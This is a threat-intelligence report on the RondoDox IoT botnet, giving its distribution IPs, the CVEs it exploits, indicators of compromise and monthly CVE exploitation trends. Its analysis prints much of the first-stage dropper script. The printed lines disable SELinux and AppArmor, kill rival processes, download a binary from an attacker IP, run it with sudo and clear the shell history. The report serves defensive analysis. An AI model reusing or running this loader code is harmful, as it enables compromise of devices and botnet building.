Tracking RondoDox: Malware Exploiting Many IoT Vulnerabilities

The Sensor Intel Series is created in partnership with Efflux, who maintains a globally distributed network of sensors from which we derive attack telemetry.

Additional insights and contributions provided by the F5 Threat Campaigns team.

Introduction

This month, we are looking into a relatively new threat actor who is attempting to distribute the RondoDox malware. It’s an interesting collection of residential IP addresses used for distribution, multi-platform malware, and shell scripts, along with intense targeting of IoT devices.

Tracking a RondoDox Threat Actor

Since July 15^th of this year, we’ve been seeing scans from what appears to be a specific threat actor attempting to distribute the recently discovered “rondo” malware (see Figure 1). This malware is a variation on Mirai, the well-known and now quite old botnet tool that made such a splash in August of 2016.

What’s interesting about this particular actor is

• their consistent use of just a handful distribution points for their first stage,
• the relatively simple renaming scheme they use for the first stage, and
• the relatively large number of different exploits they try against each target.

A limited set of distribution points

The actor has switched distribution infrastructure several times and twice re-activated old IP addresses out of the 4 total used.

Table 2: A table with year and month showing the breakdown of events per malware distribution IP address.

These IP addresses are sourced from the following ASNs. While the majority of the scanning we observe is typically from hosting providers or cloud providers, in this case, it appears the actor is using (perhaps compromised) residential infrastructure to host their malware. The obvious exception to this were requests to 0.0.0.0 which is not a valid IP in this scenario.

Table 3: Source IP and ASN information for each of the malware distribution IP addresses from Table 2.

Discovered second stage binaries

We looked at these IPs and found one that was still active. We were able to pull down a full set of stage two malware from this host, along with the stage one shell script.

As can be seen, each of these are named “rondo” along with an architecture. These are mentioned in the first-stage shell file.

Table 4: List of second stage malware names, and types, showing the variety of platforms which are being targeted.

None of these files were on VirusTotal when they were found, based on their checksums. They have since been reported. See Indicators of Compromise for file hashes.

Analysis of the First Stage

The first stage shell file has many names, but always in the pattern of rondo.XXX.sh where XXX is three alphabet characters.

• rondo.fep.sh
• rondo.ebj.sh
• rondo.bxd.sh
• rondo.qyz.sh
• rondo.tdj.sh
• rondo.abs.sh
• rondo.tbk.sh
• rondo.zqq.sh
• rondo.uzz.sh
• rondo.hsg.sh
• rondo.zta.sh
• rondo.epn.sh
• rondo.ush.sh
• rondo.djc.sh
• rondo.xbm.sh
• rondo.cye.sh
• rondo.hqf.sh
• rondo.dcn.sh
• rondo.xsj.sh
• rondo.wyu.sh
• rondo.wtf.sh
• rondo.vcp.sh
• rondo.ftm.sh

It appears that the threat actor’s tooling rotates through a set of infixes (.xbm, .djc, etc.) for the first stage. The contents of each are identical.

The first stage is a shell script, which we analyze some elements of below.

The first lines offer us a very easy IoC although a very easily changed one – every example of this script we found contains the same email address

#!/bin/sh

# bang2012@tutanota.de (mailto:bang2012@tutanota.de)

The next line silences shell by redirecting both STDIN and STDOUT to /dev/null

exec > /dev/null 2>&1

It next checks to see if STDIN is associated with a terminal (it shouldn't be after the line above has run) and if it is, the script exits

[ -t 0 ] &&exit0

It loops through all the process IDs in /proc- this results in p equaling "/proc/1234"or something similar through each iteration of the loop. It also pulls out just the process ID number, so that $p is the path and $pid is the process ID

for p in /proc/[0-9]*; do

pid=${p##*/};

The following checks to see if /proc/1234/exe or similar does not exist - and if it does not, then the script attempts to kill the associated process and go to the next element of the loop if killing the process is successful.

This appears to be an attempt to kill processes that for some reason do not have an exe entry in /proc. Normally this would be kernel processes and some daemons. In this case, it is indicative of malware that attempts to conceal itself.

After this, it checks if the exe path contains “/lib” and if so, skips it. It then continues to attempt to find other malware, checking several directories against the exe path, and if they are found in the path, attempting to kill the process.

[ ! -e "$p/exe" ] && kill -9"$pid"&& continue;

exelink=$(ls -l "$p/exe"2>/dev/null);

[[ "$exelink"== *"/lib"* ]] && continue;

fordirin tmp var dev mnt run home; do # Iterate over directories (security-sensitive locations like /tmp or /var)

[[ "${exelink#*/$dir/}" != "$exelink" ]] && kill -9"$pid"&& break; # If the process runs a binary in one of these directories, kill it

done;

done

The script then attempts disable SELinux and AppArmor protections, remount the ‘/’ partition to be read-write, and various cache files.

setenforce 0

service apparmor stop

mount -o remount,rw /||sudo mount -o remount,rw /

rm -rf /var/cache/* ~/.cache

The next section runs in /dev, and attempts to remove files named after various architectures from /dev/, /dev/shm, /run, and many other directories. It does so by attempting to create a file called “.t” in each, and if that succeeds (meaning the script has write permissions) it attempts the removal of the named files (arc, arm, etc), after which it removes the .t file (whether or not it was actually created).

This essentially will leave the process in the current working directory of the last directory it could write to.

cd /dev

rm -f arc arm arm4 arm5 arm6 arm7 arm8 aarch64 i486 i586 i686 x86 x86_64 x86_32 m68k mips mipsel mpsl powerpc ppc powerpc-440fp sh4 sparc spc csky *.arc *.arm *.arm4 *.arm5 *.arm6 *.arm7 *.arm8 *.aarch64 *.i486 *.i586 *.i686 *.x86 *.x86_64 *.x86_32 *.m68k *.mips *.mipsel *.mpsl *.powerpc *.ppc *.powerpc-440fp *.sh4 *.sparc *.spc *.csky

echo>/dev/shm/.t &&cd /dev/shm && rm -f arc arm arm4 arm5 arm6 arm7 arm8 aarch64 i486 i586 i686 x86 x86_64 x86_32 m68k mips mipsel mpsl powerpc ppc powerpc-440fp sh4 sparc spc csky *.arc *.arm *.arm4 *.arm5 *.arm6 *.arm7 *.arm8 *.aarch64 *.i486 *.i586 *.i686 *.x86 *.x86_64 *.x86_32 *.m68k *.mips *.mipsel *.mpsl *.powerpc *.ppc *.powerpc-440fp *.sh4 *.sparc *.spc *.csky; rm -f /dev/shm/.t

echo>/run/.t &&cd /run && rm -f arc arm arm4 arm5 arm6 arm7 arm8 aarch64 i486 i586 i686 x86 x86_64 x86_32 m68k mips mipsel mpsl powerpc ppc powerpc-440fp sh4 sparc spc csky *.arc *.arm *.arm4 *.arm5 *.arm6 *.arm7 *.arm8 *.aarch64 *.i486 *.i586 *.i686 *.x86 *.x86_64 *.x86_32 *.m68k *.mips *.mipsel *.mpsl *.powerpc *.ppc *.powerpc-440fp *.sh4 *.sparc *.spc *.csky; rm -f /run/.t

echo>$HOME/.t &&cd $HOME && rm -f arc arm arm4 arm5 arm6 arm7 arm8 aarch64 i486 i586 i686 x86 x86_64 x86_32 m68k mips mipsel mpsl powerpc ppc powerpc-440fp sh4 sparc spc csky *.arc *.arm *.arm4 *.arm5 *.arm6 *.arm7 *.arm8 *.aarch64 *.i486 *.i586 *.i686 *.x86 *.x86_64 *.x86_32 *.m68k *.mips *.mipsel *.mpsl *.powerpc *.ppc *.powerpc-440fp *.sh4 *.sparc *.spc *.csky; rm -f $HOME/.t

echo>/mnt/.t &&cd /mnt && rm -f arc arm arm4 arm5 arm6 arm7 arm8 aarch64 i486 i586 i686 x86 x86_64 x86_32 m68k mips mipsel mpsl powerpc ppc powerpc-440fp sh4 sparc spc csky *.arc *.arm *.arm4 *.arm5 *.arm6 *.arm7 *.arm8 *.aarch64 *.i486 *.i586 *.i686 *.x86 *.x86_64 *.x86_32 *.m68k *.mips *.mipsel *.mpsl *.powerpc *.ppc *.powerpc-440fp *.sh4 *.sparc *.spc *.csky; rm -f /mnt/.t

echo>/tmp/.t &&cd /tmp && rm -f arc arm arm4 arm5 arm6 arm7 arm8 aarch64 i486 i586 i686 x86 x86_64 x86_32 m68k mips mipsel mpsl powerpc ppc powerpc-440fp sh4 sparc spc csky *.arc *.arm *.arm4 *.arm5 *.arm6 *.arm7 *.arm8 *.aarch64 *.i486 *.i586 *.i686 *.x86 *.x86_64 *.x86_32 *.m68k *.mips *.mipsel *.mpsl *.powerpc *.ppc *.powerpc-440fp *.sh4 *.sparc *.spc *.csky; rm -f /tmp/.t

echo>/data/local/tmp/.t &&cd /data/local/tmp && rm -f arc arm arm4 arm5 arm6 arm7 arm8 aarch64 i486 i586 i686 x86 x86_64 x86_32 m68k mips mipsel mpsl powerpc ppc powerpc-440fp sh4 sparc spc csky *.arc *.arm *.arm4 *.arm5 *.arm6 *.arm7 *.arm8 *.aarch64 *.i486 *.i586 *.i686 *.x86 *.x86_64 *.x86_32 *.m68k *.mips *.mipsel *.mpsl *.powerpc *.ppc *.powerpc-440fp *.sh4 *.sparc *.spc *.csky; rm -f /data/local/tmp/.t

echo>/run/user/0/.t &&cd /run/user/0 && rm -f arc arm arm4 arm5 arm6 arm7 arm8 aarch64 i486 i586 i686 x86 x86_64 x86_32 m68k mips mipsel mpsl powerpc ppc powerpc-440fp sh4 sparc spc csky *.arc *.arm *.arm4 *.arm5 *.arm6 *.arm7 *.arm8 *.aarch64 *.i486 *.i586 *.i686 *.x86 *.x86_64 *.x86_32 *.m68k *.mips *.mipsel *.mpsl *.powerpc *.ppc *.powerpc-440fp *.sh4 *.sparc *.spc *.csky; rm -f /run/user/0/.t

echo>/etc/.t &&cd /etc; rm -f /etc/.t

echo>/var/log/.t &&cd /var/log; rm -f /var/log/.t

echo>/var/run/.t &&cd /var/run && rm -f arc arm arm4 arm5 arm6 arm7 arm8 aarch64 i486 i586 i686 x86 x86_64 x86_32 m68k mips mipsel mpsl powerpc ppc powerpc-440fp sh4 sparc spc csky *.arc *.arm *.arm4 *.arm5 *.arm6 *.arm7 *.arm8 *.aarch64 *.i486 *.i586 *.i686 *.x86 *.x86_64 *.x86_32 *.m68k *.mips *.mipsel *.mpsl *.powerpc *.ppc *.powerpc-440fp *.sh4 *.sparc *.spc *.csky; rm -f /var/run/.t

echo>/var/tmp/.t &&cd /var/tmp && rm -f arc arm arm4 arm5 arm6 arm7 arm8 aarch64 i486 i586 i686 x86 x86_64 x86_32 m68k mips mipsel mpsl powerpc ppc powerpc-440fp sh4 sparc spc csky *.arc *.arm *.arm4 *.arm5 *.arm6 *.arm7 *.arm8 *.aarch64 *.i486 *.i586 *.i686 *.x86 *.x86_64 *.x86_32 *.m68k *.mips *.mipsel *.mpsl *.powerpc *.ppc *.powerpc-440fp *.sh4 *.sparc *.spc *.csky; rm -f /var/tmp/.t

echo>/media/.t &&cd /media; rm -f /media/.t

echo>/usr/bin/.t &&cd /usr/bin; rm -f /usr/bin/.t

echo>/bin/.t &&cd /bin; rm -f /bin/.t

In the writable directory, if any, it will create a “lib” directory, change its permissions to be relatively open, and cd into it. Once inside, it removes any pre-existing “rondo” files (evidence of a previous infection by the same malware), and then attempts to download malware of a specific platform type, and attempt to execute it, renaming and deleting these files as needed. This entire section is repeated many times, once for each architecture noted in Table 4 above.

mkdir lib

(chmod 755 lib||busybox chmod 755 lib)&&cd lib

rm -rf rondo

rm -rf rondo.*

rm -rf rondo.mips

(wget http://74.194.191.52/rondo.mips||curl (http://74.194.191.52/rondo.mips||curl) -O http://74.194.191.52/rondo.mips||busybox (http://74.194.191.52/rondo.mips||busybox) wget http://74.194.191.52/rondo.mips (http://74.194.191.52/rondo.mips))

(cat rondo.mips > rondo||busybox cat rondo.mips > rondo||mv rondo.mips > rondo)

(chmod 777 rondo||busybox chmod 777 rondo)||(chmod +x rondo||busybox chmod +x rondo)

sudo ./rondo "fsm.mips"; [ $? -eq 137 ] &&exit0

./rondo "fsm.mips"; [ $? -eq 137 ] &&exit0

If any of the downloaded binaries is found to run, the script exits.

After all the possible architectures have been tried the script will clear the shell history and exit.

history -c

exit0

Overall, this isn’t that dissimilar to many other first stage shell-script based payloads we’ve seen in the past. These are typically written to adapt to an unknown target’s set of tools, via the use of chained commands that try one command, then another, and then another, such as we can see here with the use of wget, then curl, then busybox.

Along with that, the attempts to download and execute a wide variety of second stages to find one that runs, without having to know the target platform, is also very common in these first stage scripts.

This particular one may stand out by its exceptional attention to attempting to remove other malware and prevent itself from running more than once.

Exploits Used

We have observed the actor using exploits for the following CVEs along with several others that are not assigned CVE numbers, targeting home routers and other IoT devices.

• CVE-2013-1599: A command injection vulnerability in the rtpd.cgi component of D-Link IP Cameras allows an unauthenticated remote attacker to execute arbitrary commands via a crafted query string.
• CVE-2014-3206: Seagate BlackArmor NAS products are vulnerable to remote command execution via the session and auth_name parameters in certain web endpoints.
• CVE-2020-10987: The setUsbUnload endpoint in Tenda AC15 and AC1900 routers contains a command injection vulnerability that allows an unauthenticated remote attacker to execute arbitrary system commands.
• CVE-2020-9054: A command injection vulnerability in the weblogin.cgi component of multiple Zyxel NAS products allows an unauthenticated remote attacker to execute arbitrary OS commands.
• CVE-2022-36553: A command injection vulnerability in the popen.cgi component of Hytec Inter HWL-2511-SS devices allows an authenticated attacker to execute arbitrary commands.
• CVE-2022-40619: A firewall authentication bypass vulnerability affects FortiGate, FortiProxy, and FortiSwitchManager, allowing an attacker to perform operations on the administrative interface.
• CVE-2023-1389: A critical command injection vulnerability in the web management interface of TP-Link Archer AX21 routers allows unauthenticated attackers to execute arbitrary commands as the root user.
• CVE-2023-23333: A command injection vulnerability in downloader.php within SolarView Compact devices allows an unauthenticated remote attacker to execute arbitrary commands.
• CVE-2023-41011: A command execution vulnerability in the shortcut_telnet.cg component of the China Mobile Intelligent Home Gateway v.HG6543C4 allows a remote attacker to execute arbitrary code.
• CVE-2024-10914: An unauthenticated remote command injection vulnerability in legacy D-Link NAS devices, particularly in the account_mgr.cgi script, allows an attacker to execute arbitrary shell commands.
• CVE-2024-3721: A critical command injection vulnerability in certain TBK DVR models allows an unauthenticated remote attacker to execute arbitrary commands via crafted HTTP requests.
• CVE-2025-34043: A remote command injection vulnerability in Vacron Network Video Recorder (NVR) devices allows unauthenticated attackers to execute arbitrary commands on the operating system.
• CVE-2025-4008: A command injection vulnerability in the web interface of Meteobridge allows a remote, unauthenticated attacker to execute arbitrary commands with root privileges.
• CVE-2025-9528: A vulnerability in the Linksys E1700 router's systemCommand function allows an authenticated remote attacker to perform OS command injection.
• The 2018 JAWS Web Server Vulnerability we track
• The NETGEAR-MOZI vulnerability we track
• Netgear DGN1000 v1.1.00.48 vulnerabilities
• A number of IQRouter 3.3.1 remote code execution vulnerabilities
• Along with several others that appeared very generic attempts to exploit default /cgi-bin/ binaries for command injection.

Indicators of Compromise

There are several very obvious indicators of compromise available to us here. Not only the checksums of the files, which given that they were not in VirusTotal are probably recompiled on a fairly regular basis, but strings like the email address mentioned above, or the creation of “/.t” files in various directories. EDR tools or even linux tools like auditd or SELinux are certainly able to alert on the creation of files.

Source IP addresses

The following IP’s were identified as being a source of this attack campaign:

• 83.252.42.112
• 38.59.219.27
• 192.183.232.142
• 74.194.191.52

Malware SHA256 hashes

Table 5: A list of the second stage malware along with the SHA256 checksums for each binary.

Other IOCs

The following email address was found in first stage shell scripts.

bang2012@tutanota.de

Additional IoCs are easily found by looking at other examples of the Rondo malware, especially for network traffic signatures. And finally, making sure you have some sort of WAF that is aware of and blocking the above CVEs, or even better, simply looking for obvious command injection attempts to block, would for the most part stop this activity in its tracks.

The following are examples of the exploit strings we have seen.

Table 6: List of attack strings seen related to this threat actor.

RondoDox Conclusion

Of course, this actor isn’t necessarily targeting advanced organizations with highly capable defenses. Rather, this is an attempt to build a botnet out of IoT and other unprotected Linux-based devices, using well known and easy to exploit vulnerabilities. The fact that the malware takes such great pains to remove other possible infections means that this threat actor knows that they are likely to not be the first to have exploited a particular device – they’re simply attempting to take them over for themselves.

We suspect they will be successful.

Top CVEs for October

In October 2025, CVE-2017-9841 recorded the highest activity, with 38,977 instances of exploitation attempts (see Table 7). CVE-2023-1389 followed with 7,552 attempts, while CVE-2024-4577 saw a significant rise to 2,202 attempts, moving up three ranks. CVE-2019-9082 and CVE-2022-24847 rounded out the top five, with 2,183 and 2,154 attempts, respectively. Notably, CVE-2025-31324, a relatively new vulnerability, has entered the top 10, indicating its growing exploitation. Meanwhile, CVE-2020-8958 experienced a sharp decline, dropping seven ranks.

Table 7: Top 10 CVEs for October 2025. CVSS Scores are v3.1. All data is as of 11/1/2025.

Top 5 CVE Descriptions

CVE-2017-9841, a PHPUnit Remote Code Execution (RCE) vulnerability, continues to dominate the threat landscape. This vulnerability allows attackers to execute arbitrary PHP code on a server, often leading to full system compromise. Organizations using outdated versions of PHPUnit should update the latest version immediately and ensure that their servers are not exposed to the internet unnecessarily.

CVE-2023-1389 targets TP-Link Archer AX21 routers through a command injection vulnerability. This flaw allows attackers to execute arbitrary commands on the device, potentially compromising the network. Users should update their router firmware and consider replacing older devices that may no longer receive updates.

CVE-2024-4577, an Apache PHP-CGI Argument Injection RCE, has seen a significant increase in activity. This vulnerability can be exploited to execute arbitrary commands on a server. Administrators should apply the latest patches and review server configurations to mitigate this risk.

CVE-2019-9082, a ThinkPHP PHP Injection RCE, remains a concern for organizations using this framework. Attackers can exploit this vulnerability to execute arbitrary PHP code. It is crucial to update to the latest version of ThinkPHP and implement web application firewalls to block malicious requests.

CVE-2022-24847, a GeoServer JNDI Lookup RCE, allows attackers to execute arbitrary code on vulnerable servers. Organizations using GeoServer should update to the latest version and review their server configurations to ensure they are not exposed to unnecessary risks.

Long Term Targeting Trends

The bump plot for October 2025 (see Figure 2) reveals that CVE-2017-9841 continues to dominate as the most exploited CVE, with a notable increase in activity compared to the previous month. CVE-2023-1389 remains in second place, showing steady activity. CVE-2024-4577 has climbed to third place, overtaking CVE-2019-9082 and CVE-2022-24847, which now occupy the fourth and fifth spots, respectively. This shift underscores the dynamic nature of the threat landscape and the need for vigilance in addressing emerging vulnerabilities.

Figure 2: Twelve-month bump plot of the top 5 CVEs. Note the continued dominance of CVE-2023-1381.

The long-term trends data for October 2025 (see Figure 3) shows consistent activity for several CVEs. CVE-2017-9841 remains the most active CVE, with a significant number of attempts recorded over the months. CVE-2023-1389 and CVE-2024-4577 also show sustained activity, indicating their continued relevance in the threat landscape. CVE-2019-9082 and CVE-2022-24847 maintain moderate levels of activity, suggesting that these vulnerabilities are still being targeted. The data highlights the importance of addressing these vulnerabilities to mitigate potential risks.

Figure 3: Evolution of vulnerability targeting in the last twelve months, shown using a logarithmic scale for ease of comparison.

Conclusion

While the overall landscape of the CVEs we track didn’t vary greatly, our deep dive shows how attackers are not only motivated to target vulnerable IoT devices, but also how, if successful, they will take over previously infected devices to add them to their own botnets. The RondoDox threat actor we profile here shows some interesting behavior, renaming the first stage with some predictability, as well as using residential infrastructure for malware distribution – almost certainly other infected devices.